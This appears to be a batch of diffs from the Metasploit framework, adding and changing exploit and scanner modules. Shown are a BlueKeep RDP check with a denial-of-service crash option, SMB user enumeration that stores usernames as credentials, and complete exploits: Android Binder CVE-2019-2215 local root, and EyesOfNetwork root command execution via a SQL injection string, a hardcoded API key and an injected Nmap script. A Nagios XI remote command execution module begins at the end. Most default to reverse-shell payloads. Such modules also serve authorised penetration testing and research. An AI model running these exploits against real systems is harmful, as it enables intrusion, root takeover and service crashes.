||||
["Scan", "Description" => "Scan for exploitable targets"],
|
||||
["Crash", "Description" => "Trigger denial of service vulnerability"],
|
||||
],
|
||||
"DefaultAction" => "Scan",
|
||||
'Notes' =>
|
||||
{
|
||||
'Stability' => [ CRASH_SAFE ],
|
||||
'AKA' => ['BlueKeep']
|
||||
}
|
||||
))
|
||||
'DefaultAction' => 'Scan',
|
||||
'Notes' =>
|
||||
{
|
||||
'Stability' => [ CRASH_SAFE ],
|
||||
'AKA' => ['BlueKeep']
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def report_goods
|
||||
report_vuln(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:name => self.name,
|
||||
:info => 'Behavior indicates a missing Microsoft Windows RDP patch for CVE-2019-0708',
|
||||
:refs => self.references
|
||||
host: rhost,
|
||||
port: rport,
|
||||
proto: 'tcp',
|
||||
name: name,
|
||||
info: 'Behavior indicates a missing Microsoft Windows RDP patch for CVE-2019-0708',
|
||||
refs: references
|
||||
)
|
||||
end
|
||||
|
||||
@@ -89,7 +92,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
begin
|
||||
rdp_connect
|
||||
rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError
|
||||
return Exploit::CheckCode::Safe("The target service is not running or refused our connection.")
|
||||
return Exploit::CheckCode::Safe('The target service is not running or refused our connection.')
|
||||
end
|
||||
|
||||
status = check_rdp_vuln
|
||||
@@ -99,11 +102,11 @@ class MetasploitModule < Msf::Auxiliary
|
||||
vprint_line(bt)
|
||||
elog("#{e.message}\n#{bt}")
|
||||
rescue RdpCommunicationError
|
||||
vprint_error("Error communicating RDP protocol.")
|
||||
vprint_error('Error communicating RDP protocol.')
|
||||
status = Exploit::CheckCode::Unknown
|
||||
rescue Errno::ECONNRESET
|
||||
vprint_error("Connection reset")
|
||||
rescue => e
|
||||
vprint_error('Connection reset')
|
||||
rescue StandardError => e
|
||||
bt = e.backtrace.join("\n")
|
||||
vprint_error("Unexpected error: #{e.message}")
|
||||
vprint_line(bt)
|
||||
@@ -130,28 +133,28 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
# Disconnect Provider message of a valid size for each platform
|
||||
# has proven to be safe to send as part of the vulnerability check.
|
||||
x86_string = "00000000020000000000000000000000"
|
||||
x64_string = "0000000000000000020000000000000000000000000000000000000000000000"
|
||||
x86_string = '00000000020000000000000000000000'
|
||||
x64_string = '0000000000000000020000000000000000000000000000000000000000000000'
|
||||
|
||||
if action.name == 'Crash'
|
||||
vprint_status("Sending denial of service payloads")
|
||||
vprint_status('Sending denial of service payloads')
|
||||
# Length and chars are arbitrary but total length needs to be longer than
|
||||
# 16 for x86 and 32 for x64. Making the payload too long seems to cause
|
||||
# the DoS to fail. Note that sometimes the DoS seems to fail. Increasing
|
||||
# the payload size and sending more of them doesn't seem to improve the
|
||||
# reliability. It *seems* to happen more often on x64, I haven't seen it
|
||||
# fail against x86. Repeated attempts will generally trigger the DoS.
|
||||
x86_string += "FF" * 1
|
||||
x64_string += "FF" * 2
|
||||
x86_string += 'FF' * 1
|
||||
x64_string += 'FF' * 2
|
||||
else
|
||||
vprint_status("Sending patch check payloads")
|
||||
vprint_status('Sending patch check payloads')
|
||||
end
|
||||
|
||||
chan_flags = RDPConstants::CHAN_FLAG_FIRST | RDPConstants::CHAN_FLAG_LAST
|
||||
channel_id = [1005].pack('S>')
|
||||
x86_packet = rdp_build_pkt(build_virtual_channel_pdu(chan_flags, [x86_string].pack("H*")), channel_id)
|
||||
x86_packet = rdp_build_pkt(build_virtual_channel_pdu(chan_flags, [x86_string].pack('H*')), channel_id)
|
||||
|
||||
x64_packet = rdp_build_pkt(build_virtual_channel_pdu(chan_flags, [x64_string].pack("H*")), channel_id)
|
||||
x64_packet = rdp_build_pkt(build_virtual_channel_pdu(chan_flags, [x64_string].pack('H*')), channel_id)
|
||||
|
||||
6.times do
|
||||
rdp_send(x86_packet)
|
||||
@@ -167,8 +170,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
print_error("Target doesn't appear to have been crashed. Consider retrying.")
|
||||
return Exploit::CheckCode::Unknown
|
||||
else
|
||||
print_good("Target service appears to have been successfully crashed.")
|
||||
return Exploit::CheckCode::Vulnerable("The target appears to have been crashed by disconnecting from an incorrectly-bound MS_T120 channel.")
|
||||
print_good('Target service appears to have been successfully crashed.')
|
||||
return Exploit::CheckCode::Vulnerable('The target appears to have been crashed by disconnecting from an incorrectly-bound MS_T120 channel.')
|
||||
end
|
||||
end
|
||||
|
||||
@@ -178,7 +181,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
rescue EOFError
|
||||
# we don't care
|
||||
end
|
||||
return Exploit::CheckCode::Vulnerable("The target attempted cleanup of the incorrectly-bound MS_T120 channel.") if res&.include?(["0300000902f0802180"].pack("H*"))
|
||||
return Exploit::CheckCode::Vulnerable('The target attempted cleanup of the incorrectly-bound MS_T120 channel.') if res&.include?(['0300000902f0802180'].pack('H*'))
|
||||
|
||||
# Slow check for Ultimatum PDU. If it doesn't respond in a timely
|
||||
# manner then the host is likely patched.
|
||||
@@ -186,8 +189,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||
4.times do
|
||||
res = rdp_recv
|
||||
# 0x2180 = MCS Disconnect Provider Ultimatum PDU - 2.2.2.3
|
||||
if res.include?(["0300000902f0802180"].pack("H*"))
|
||||
return Exploit::CheckCode::Vulnerable("The target attempted cleanup of the incorrectly-bound MS_T120 channel.")
|
||||
if res.include?(['0300000902f0802180'].pack('H*'))
|
||||
return Exploit::CheckCode::Vulnerable('The target attempted cleanup of the incorrectly-bound MS_T120 channel.')
|
||||
end
|
||||
end
|
||||
rescue RdpCommunicationError
|
||||
@@ -202,7 +205,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# check if rdp is open
|
||||
is_rdp, version_info = rdp_fingerprint
|
||||
unless is_rdp
|
||||
vprint_error("Could not connect to RDP service.")
|
||||
vprint_error('Could not connect to RDP service.')
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
rdp_disconnect
|
||||
@@ -219,16 +222,16 @@ class MetasploitModule < Msf::Auxiliary
|
||||
vprint_status(info)
|
||||
|
||||
if requires_nla
|
||||
vprint_status("Server requires NLA (CredSSP) security which mitigates this vulnerability.")
|
||||
vprint_status('Server requires NLA (CredSSP) security which mitigates this vulnerability.')
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
chans = [
|
||||
['cliprdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
|
||||
['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_COMPRESS_RDP],
|
||||
['rdpsnd', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],
|
||||
['snddbg', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],
|
||||
['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_COMPRESS_RDP],
|
||||
['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_COMPRESS_RDP],
|
||||
['rdpsnd', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],
|
||||
['snddbg', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],
|
||||
['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_COMPRESS_RDP],
|
||||
]
|
||||
|
||||
success = rdp_negotiate_security(chans, server_selected_proto)
|
||||
|
||||
@@ -22,7 +22,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
deregister_options('RPORT')
|
||||
deregister_options('RPORT', 'SMBDirect')
|
||||
end
|
||||
|
||||
# Fingerprint a single host
|
||||
@@ -32,23 +32,22 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
[[139, false], [445, true]].each do |info|
|
||||
|
||||
datastore['RPORT'] = info[0]
|
||||
datastore['SMBDirect'] = info[1]
|
||||
datastore['RPORT'] = info[0]
|
||||
datastore['SMBDirect'] = info[1]
|
||||
|
||||
begin
|
||||
connect()
|
||||
smb_login()
|
||||
check_named_pipes.each do |pipe_name, _|
|
||||
pipes.push(pipe_name)
|
||||
begin
|
||||
connect(versions: [1, 2])
|
||||
smb_login()
|
||||
check_named_pipes.each do |pipe_name, _|
|
||||
pipes.push(pipe_name)
|
||||
end
|
||||
|
||||
disconnect()
|
||||
|
||||
break
|
||||
rescue Rex::Proto::SMB::Exceptions::SimpleClientError => e
|
||||
vprint_error("SMB client Error with RPORT=#{info[0]} SMBDirect=#{info[1]}: #{e.to_s}")
|
||||
end
|
||||
|
||||
disconnect()
|
||||
|
||||
break
|
||||
rescue ::Exception => e
|
||||
#print_line($!.to_s)
|
||||
#print_line($!.backtrace.join("\n"))
|
||||
end
|
||||
end
|
||||
|
||||
if(pipes.length > 0)
|
||||
|
||||
@@ -26,6 +26,11 @@ class MetasploitModule < Msf::Auxiliary
|
||||
}
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('DB_ALL_USERS', [ false, "Add all enumerated usernames to the database", false ]),
|
||||
])
|
||||
|
||||
deregister_options('RPORT')
|
||||
end
|
||||
|
||||
@@ -309,6 +314,11 @@ class MetasploitModule < Msf::Auxiliary
|
||||
extra << ")"
|
||||
end
|
||||
print_good("#{domain.upcase} [ #{users.keys.map{|k| users[k]}.join(", ")} ] #{extra}")
|
||||
if datastore['DB_ALL_USERS']
|
||||
users.each { |user|
|
||||
store_username(user, domain, ip, rport, resp)
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
# cleanup
|
||||
@@ -327,4 +337,30 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
|
||||
def store_username(username, domain, ip, rport, resp)
|
||||
service_data = {
|
||||
address: ip,
|
||||
port: rport,
|
||||
service_name: 'smb',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id,
|
||||
proof: resp
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: username[1],
|
||||
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
|
||||
realm_value: domain,
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -112,6 +112,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
cred_collection = prepend_db_passwords(cred_collection)
|
||||
cred_collection = prepend_db_hashes(cred_collection)
|
||||
cred_collection = prepend_db_usernames(cred_collection)
|
||||
|
||||
@scanner.cred_details = cred_collection
|
||||
|
||||
@@ -145,6 +146,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
private: result.credential.private,
|
||||
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
|
||||
realm_value: result.credential.realm,
|
||||
last_attempted_at: DateTime.now,
|
||||
status: result.status
|
||||
)
|
||||
:abort
|
||||
@@ -160,6 +162,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
private: result.credential.private,
|
||||
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
|
||||
realm_value: result.credential.realm,
|
||||
last_attempted_at: DateTime.now,
|
||||
status: result.status
|
||||
)
|
||||
end
|
||||
|
||||
@@ -0,0 +1,79 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Common
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info, {
|
||||
'Name' => "Android Binder Use-After-Free Exploit",
|
||||
'Description' => %q{
|
||||
This module exploits CVE-2019-2215, which is a use-after-free in Binder in the
|
||||
Android kernel. The bug is a local privilege escalation vulnerability that
|
||||
allows for a full compromise of a vulnerable device. If chained with a browser
|
||||
renderer exploit, this bug could fully compromise a device through a malicious
|
||||
website.
|
||||
The freed memory is replaced with an iovec structure in order to leak a pointer
|
||||
to the task_struct. Finally the bug is triggered again in order to overwrite
|
||||
the addr_limit, making all memory (including kernel memory) accessible as part
|
||||
of the user-space memory range in our process and allowing arbitrary reading
|
||||
and writing of kernel memory.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Jann Horn', # discovery and exploit
|
||||
'Maddie Stone', # discovery and exploit
|
||||
'grant-h', # Qu1ckR00t
|
||||
'timwr', # metasploit module
|
||||
],
|
||||
'References' => [
|
||||
[ 'CVE', '2019-2215' ],
|
||||
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1942' ],
|
||||
[ 'URL', 'https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html' ],
|
||||
[ 'URL', 'https://hernan.de/blog/2019/10/15/tailoring-cve-2019-2215-to-achieve-root/' ],
|
||||
[ 'URL', 'https://github.com/grant-h/qu1ckr00t/blob/master/native/poc.c' ],
|
||||
],
|
||||
'DisclosureDate' => "Sep 26 2019",
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Platform' => [ "android", "linux" ],
|
||||
'Arch' => [ ARCH_AARCH64 ],
|
||||
'Targets' => [[ 'Auto', {} ]],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'PAYLOAD' => 'linux/aarch64/meterpreter/reverse_tcp',
|
||||
'WfsDelay' => 5,
|
||||
},
|
||||
'DefaultTarget' => 0,
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
def upload_and_chmodx(path, data)
|
||||
write_file path, data
|
||||
chmod(path)
|
||||
register_file_for_cleanup(path)
|
||||
end
|
||||
|
||||
def exploit
|
||||
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2019-2215", "exploit" )
|
||||
exploit_data = File.read(local_file, {:mode => 'rb'})
|
||||
|
||||
workingdir = session.fs.dir.getwd
|
||||
exploit_file = "#{workingdir}/.#{Rex::Text::rand_text_alpha_lower(5)}"
|
||||
upload_and_chmodx(exploit_file, exploit_data)
|
||||
payload_file = "#{workingdir}/.#{Rex::Text::rand_text_alpha_lower(5)}"
|
||||
upload_and_chmodx(payload_file, generate_payload_exe)
|
||||
|
||||
print_status("Executing exploit '#{exploit_file}'")
|
||||
result = cmd_exec("echo '#{payload_file} &' | #{exploit_file}")
|
||||
print_status("Exploit result:\n#{result}")
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,327 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'EyesOfNetwork AutoDiscovery Target Command Execution',
|
||||
'Description' => %q{
|
||||
This module exploits multiple vulnerabilities in EyesOfNetwork version 5.3
|
||||
and prior in order to execute arbitrary commands as root.
|
||||
|
||||
This module takes advantage of a command injection vulnerability in the
|
||||
`target` parameter of the AutoDiscovery functionality within the EON web
|
||||
interface in order to write an Nmap NSE script containing the payload to
|
||||
disk. It then starts an Nmap scan to activate the payload. This results in
|
||||
privilege escalation because the`apache` user can execute Nmap as root.
|
||||
|
||||
Valid credentials for a user with administrative privileges are required.
|
||||
However, this module can bypass authentication via two methods, i.e. by
|
||||
generating an API access token based on a hardcoded key, and via SQLI.
|
||||
This module has been successfully tested on EyesOfNetwork 5.3 with API
|
||||
version 2.4.2.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Clément Billac', # @h4knet - Discovery and exploit
|
||||
'bcoles', # Metasploit
|
||||
'Erik Wynter' # @wyntererik - Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2020-8654'], # authenticated rce
|
||||
['CVE', '2020-8655'], # nmap privesc
|
||||
['CVE', '2020-8656'], # sqli auth bypass
|
||||
['CVE', '2020-8657'], # hardcoded API key
|
||||
['EDB', '48025']
|
||||
],
|
||||
'Platform' => %w[unix linux],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' => [['Auto', { }]],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => '2020-02-06',
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 443,
|
||||
'SSL' => true, #HTTPS is required for the module to work
|
||||
'PAYLOAD' => 'generic/shell_reverse_tcp'
|
||||
},
|
||||
'DefaultTarget' => 0))
|
||||
register_options [
|
||||
OptString.new('TARGETURI', [true, 'Base path to EyesOfNetwork', '/']),
|
||||
OptString.new('SERVER_ADDR', [true, 'EyesOfNetwork server IP address (if different from RHOST)', '']),
|
||||
]
|
||||
register_advanced_options [
|
||||
OptBool.new('ForceExploit', [false, 'Override check result', false])
|
||||
]
|
||||
end
|
||||
|
||||
def nmap_path
|
||||
'/usr/bin/nmap'
|
||||
end
|
||||
|
||||
def server_addr
|
||||
datastore['SERVER_ADDR'].blank? ? rhost : datastore['SERVER_ADDR']
|
||||
end
|
||||
|
||||
def check
|
||||
vprint_status("Running check")
|
||||
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '/eonapi/getApiKey')
|
||||
|
||||
unless res
|
||||
return CheckCode::Unknown('Connection failed')
|
||||
end
|
||||
|
||||
unless res.code == 401 && res.body.include?('api_version')
|
||||
return CheckCode::Safe('Target is not an EyesOfNetwork application.')
|
||||
end
|
||||
|
||||
version = res.get_json_document()['api_version'] rescue ''
|
||||
|
||||
if version.to_s.eql? ''
|
||||
return CheckCode::Detected('Could not determine EyesOfNetwork version.')
|
||||
end
|
||||
|
||||
version = Gem::Version.new version
|
||||
|
||||
unless version <= Gem::Version.new('2.4.2')
|
||||
return CheckCode::Safe("Target is EyesOfNetwork with API version #{version}.")
|
||||
end
|
||||
|
||||
CheckCode::Appears("Target is EyesOfNetwork with API version #{version}.")
|
||||
end
|
||||
|
||||
def generate_api_key
|
||||
default_key = "€On@piK3Y"
|
||||
default_user_id = 1
|
||||
key = Digest::MD5.hexdigest(default_key + default_user_id.to_s)
|
||||
Digest::SHA256.hexdigest(key + server_addr)
|
||||
end
|
||||
|
||||
def sqli_to_api_key
|
||||
# Attempt to obtain the admin API key via SQL injection, using a fake password and its md5 encrypted hash
|
||||
fake_pass = Rex::Text::rand_text_alpha(10)
|
||||
fake_pass_md5 = Digest::MD5.hexdigest("#{fake_pass}")
|
||||
user_sqli = "' union select 1,'admin','#{fake_pass_md5}',0,0,1,1,8 or '"
|
||||
api_res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, "/eonapi/getApiKey"),
|
||||
'method' => 'GET',
|
||||
'vars_get' => {
|
||||
'username' => user_sqli,
|
||||
'password' => fake_pass
|
||||
}
|
||||
})
|
||||
|
||||
unless api_res
|
||||
print_error('Connection failed.')
|
||||
return
|
||||
end
|
||||
|
||||
unless api_res.code == 200 && api_res.get_json_document.include?('EONAPI_KEY')
|
||||
print_error("SQL injection to obtain API key failed")
|
||||
return
|
||||
end
|
||||
|
||||
api_res.get_json_document()['EONAPI_KEY']
|
||||
end
|
||||
|
||||
def create_eon_user(user, password)
|
||||
vprint_status("Creating user #{user} ...")
|
||||
|
||||
vars_post = {
|
||||
user_name: user,
|
||||
user_group: "admins",
|
||||
user_password: password
|
||||
}
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/eonapi/createEonUser'),
|
||||
'ctype' => 'application/json',
|
||||
'vars_get' => {
|
||||
'apiKey' => @api_key,
|
||||
'username' => @api_user
|
||||
},
|
||||
'data' => vars_post.to_json
|
||||
})
|
||||
|
||||
unless res
|
||||
print_warning("Failed to create user: Connection failed.")
|
||||
return
|
||||
end
|
||||
|
||||
return res
|
||||
end
|
||||
|
||||
def verify_api_key(res)
|
||||
return false unless res.code == 200
|
||||
|
||||
json_data = res.get_json_document
|
||||
json_res = json_data['result']
|
||||
return false unless json_res && json_res['description']
|
||||
json_res = json_res['description']
|
||||
|
||||
return true if json_res && json_res.include?('SUCCESS')
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
def delete_eon_user(user)
|
||||
vprint_status "Removing user #{user} ..."
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/eonapi/deleteEonUser'),
|
||||
'ctype' => 'application/json',
|
||||
'data' => { user_name: user }.to_json,
|
||||
'vars_get' => { apiKey: @api_key, username: @api_user }
|
||||
})
|
||||
|
||||
unless res
|
||||
print_warning 'Removing user #{user} failed: Connection failed'
|
||||
return
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def login(user, pass)
|
||||
vprint_status "Authenticating as #{user} ..."
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'login.php'),
|
||||
'vars_post' => {
|
||||
login: user,
|
||||
mdp: pass
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with Failure::Unreachable, 'Connection failed'
|
||||
end
|
||||
|
||||
unless res.code == 200 && res.body.include?('dashboard_view')
|
||||
fail_with Failure::NoAccess, 'Authentication failed'
|
||||
end
|
||||
|
||||
print_good "Authenticated as user #{user}"
|
||||
|
||||
@cookie = res.get_cookies
|
||||
|
||||
if @cookie.empty?
|
||||
fail_with Failure::UnexpectedReply, 'Failed to retrieve cookies'
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def create_autodiscovery_job(cmd)
|
||||
vprint_status "Creating AutoDiscovery job: #{cmd}"
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/lilac/autodiscovery.php'),
|
||||
'cookie' => @cookie,
|
||||
'vars_post' => {
|
||||
'request' => 'autodiscover',
|
||||
'job_name' => 'Internal discovery',
|
||||
'job_description' => 'Internal EON discovery procedure.',
|
||||
'nmap_binary' => nmap_path,
|
||||
'default_template' => '',
|
||||
'target[]' => cmd
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with Failure::Unreachable, 'Creating AutoDiscovery job failed: Connection failed'
|
||||
end
|
||||
|
||||
unless res.body.include? 'Starting...'
|
||||
fail_with Failure::Unknown, 'Creating AutoDiscovery job failed: Job failed to start'
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def delete_autodiscovery_job(job_id)
|
||||
vprint_status "Removing AutoDiscovery job #{job_id} ..."
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/lilac/autodiscovery.php'),
|
||||
'cookie' => @cookie,
|
||||
'vars_get' => {
|
||||
id: job_id,
|
||||
delete: 1
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
print_warning "Removing AutoDiscovery job #{job_id} failed: Connection failed"
|
||||
return
|
||||
end
|
||||
res
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
res = create_autodiscovery_job ";#{cmd} #"
|
||||
return unless res
|
||||
|
||||
job_id = res.body.scan(/autodiscovery.php\?id=([\d]+)/).flatten.first
|
||||
|
||||
if job_id.empty?
|
||||
print_warning 'Could not retrieve AutoDiscovery job ID. Manual removal required.'
|
||||
return
|
||||
end
|
||||
delete_autodiscovery_job job_id
|
||||
end
|
||||
|
||||
def cleanup
|
||||
super
|
||||
if @username
|
||||
delete_eon_user @username
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless [CheckCode::Detected, CheckCode::Appears].include? check
|
||||
unless datastore['ForceExploit']
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
|
||||
end
|
||||
print_warning 'Target does not appear to be vulnerable'
|
||||
end
|
||||
|
||||
@api_user = 'admin'
|
||||
@api_key = generate_api_key
|
||||
print_status "Using generated API key: #{@api_key}"
|
||||
|
||||
@username = rand_text_alphanumeric(8..12)
|
||||
@password = rand_text_alphanumeric(8..12)
|
||||
|
||||
create_res = create_eon_user @username, @password
|
||||
unless verify_api_key(create_res)
|
||||
@api_key = sqli_to_api_key
|
||||
fail_with Failure::NoAccess, 'Failed to obtain valid API key' unless @api_key
|
||||
print_status("Using API key obtained via SQL injection: #{@api_key}")
|
||||
sqli_verify = create_eon_user @username, @password
|
||||
fail_with Failure::NoAccess, 'Failed to obtain valid API with sqli' unless verify_api_key(sqli_verify)
|
||||
end
|
||||
|
||||
admin_group_id = 1
|
||||
login @username, @password
|
||||
unless @cookie.include? 'group_id='
|
||||
@cookie << "; group_id=#{admin_group_id}"
|
||||
end
|
||||
|
||||
nse = Rex::Text.encode_base64("local os=require \"os\" hostrule=function(host) os.execute(\"#{payload.encoded.gsub(/"/, '\"')}\") end action=function() end")
|
||||
nse_path = "/tmp/.#{rand_text_alphanumeric 8..12}"
|
||||
cmd = "echo #{nse} | base64 -d > #{nse_path};sudo #{nmap_path} localhost -sn -script #{nse_path};rm #{nse_path}"
|
||||
print_status "Sending payload (#{cmd.length} bytes) ..."
|
||||
execute_command cmd
|
||||
end
|
||||
end
|
||||
@@ -104,12 +104,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def exploit
|
||||
if [CheckCode::Safe, CheckCode::Unknown].include?(check)
|
||||
if datastore['ForceExploit']
|
||||
print_warning('ForceExploit set! Exploiting anyway!')
|
||||
else
|
||||
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
|
||||
end
|
||||
if datastore['ForceExploit']
|
||||
print_warning('ForceExploit set! Exploiting anyway!')
|
||||
elsif [CheckCode::Safe, CheckCode::Unknown].include?(check)
|
||||
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
|
||||
end
|
||||
|
||||
if target['Type'] == :unix_memory
|
||||
|
||||
@@ -0,0 +1,294 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Nagios XI Authenticated Remote Command Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in Nagios XI before 5.6.6 in
|
||||
order to execute arbitrary commands as root.
|
||||
|
||||
The module uploads a malicious plugin to the Nagios XI server and then
|
||||
executes this plugin by issuing an HTTP GET request to download a
|
||||
system profile from the server. For all supported targets except Linux
|
||||
(cmd), the module uses a command stager to write the exploit to the
|
||||
target via the malicious plugin. This may not work if Nagios XI is
|
||||
running in a restricted Unix environment, so in that case the target
|
||||
must be set to Linux (cmd). The module then writes the payload to the
|
||||
malicious plugin while avoiding commands that may not be supported.
|
||||
|
||||
Valid credentials for a user with administrative privileges are
|
||||
required. This module was successfully tested on Nagios XI 5.6.5
|
||||
running on CentOS 7. The module may behave differently against older
|
||||
versions of Nagios XI. See the documentation for more information.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Jak Gibb', # https://github.com/jakgibb/ - Discovery and exploit
|
||||
'Erik Wynter' # @wyntererik - Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2019-15949'],
|
||||
['URL', 'https://github.com/jakgibb/nagiosxi-root-rce-exploit'] #original PHP exploit
|
||||
],
|
||||
'Payload' => { 'BadChars' => "\x00" },
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Linux (x86)', {
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'linux',
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
|
||||
}
|
||||
} ],
|
||||
[ 'Linux (x64)', {
|
||||
'Arch' => ARCH_X64,
|
||||
'Platform' => 'linux',
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
|
||||
}
|
||||
} ],
|
||||
[ 'Linux (cmd)', {
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => 'unix',
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/unix/reverse_bash'
|
||||
},
|
||||
'Payload' => {
|
||||
'Append' => ' & disown', # the payload must be disowned after execution, otherwise cleanup fails
|
||||
'BadChars' => "\""
|
||||
}
|
||||
} ]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => 'Jul 29 2019',
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 80,
|
||||
'HttpClientTimeout' => 2, #This is needed to close the connection to the server following the system profile download request.
|
||||
'WfsDelay' => 10
|
||||
},
|
||||
'DefaultTarget' => 1))
|
||||
register_options [
|
||||
